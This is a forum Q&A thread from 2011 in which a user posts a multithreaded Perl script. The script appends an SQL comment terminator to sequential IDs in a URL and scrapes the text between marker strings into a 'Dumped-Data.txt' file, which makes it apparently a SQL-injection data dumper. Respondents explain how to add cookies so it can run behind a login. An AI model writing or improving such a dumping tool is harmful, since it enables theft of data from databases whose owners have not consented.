Solved

Embedding Cookies In Perl

Posted on 2011-03-09
4
234 Views
Last Modified: 2012-05-11
This will dump data from my server using perl
but I added login/pass and I don't know how to embedd cookies
can someone help ?
Thanks
#!/usr/bin/perl
use strict;
use threads;
use threads::shared;
use LWP::UserAgent;
system ("color E");
system ("Greedx");
################################################
my $link = "";
################################################
my $delay   = 1;
my $threads = 1;
my $ends = "-- -";
my ($dat,$out);
my @trl;
my @count : shared = (6000000..60000000);
for(0..$threads) {$trl[$_] = threads->create(\&main, $_);}
for(@trl) { $_->join; }
sub main
{
    while(@count)
    {
        my $ua = LWP::UserAgent->new;
        my $id = shift @count;
        my $an = $ua->get("$link$id$ends")->content;
        sleep $delay;
        if($an =~ /6161:(.*?):7373/i)
        {
            my $dump = $1;
            print "[ $id ] $dump\n";
            open $dat, '>>', $out = "Dumped-Data.txt";
            print $dat "$dump\n";
        }
    }
}

Open in new window

0
Comment
Question by:Greedx
4 Comments
 
LVL 26

Assisted Solution

by:wilcoxon
wilcoxon earned 250 total points
Comment Utility
I think you need to:
* move my $ua = outside the loop
* call $ua->cookie_jar(@args) after initializing $ua (see perldoc LWP::UserAgent)
* I think this will be enough - if not, you'll also need to modify the $ua->get call (though I'm not sure how)

Sorry I couldn't give you more exact changes but it's been quite a while since I've done something similar.
0
 
LVL 4

Accepted Solution

by:
kyanwan earned 250 total points
Comment Utility
Write the header.  It's easy.

my @headers = ('Cookie' => 'chocolate-chips=yes; sugar=good; fresh=yes;',);
$browser->get("http://www.that_URL_you_are_getting.com", @headers);

Open in new window


0
 
LVL 9

Expert Comment

by:Suhas .
Comment Utility
This question has been classified as abandoned and is closed as part of the Cleanup Program. See the recommendation for more details.
0

Featured Post

Enabling OSINT in Activity Based Intelligence

Activity based intelligence (ABI) requires access to all available sources of data. Recorded Future allows analysts to observe structured data on the open, deep, and dark web.

Join & Write a Comment

I've just discovered very important differences between Windows an Unix formats in Perl,at least 5.xx.. MOST IMPORTANT: Use Unix file format while saving Your script. otherwise it will have ^M s or smth likely weird in the EOL, Then DO NOT use m…
In the distant past (last year) I hacked together a little toy that would allow a couple of Manager types to query, preview, and extract data from a number of MongoDB instances, to their tool of choice: Excel (http://dilbert.com/strips/comic/2007-08…
Explain concepts important to validation of email addresses with regular expressions. Applies to most languages/tools that uses regular expressions. Consider email address RFCs: Look at HTML5 form input element (with type=email) regex pattern: T…
In this seventh video of the Xpdf series, we discuss and demonstrate the PDFfonts utility, which lists all the fonts used in a PDF file. It does this via a command line interface, making it suitable for use in programs, scripts, batch files — any pl…

744 members asked questions and received personalized solutions in the past 7 days.

Join the community of 500,000 technology professionals and ask your questions.

Join & Ask a Question

Need Help in Real-Time?

Connect with top rated Experts

12 Experts available now in Live!

Get 1:1 Help Now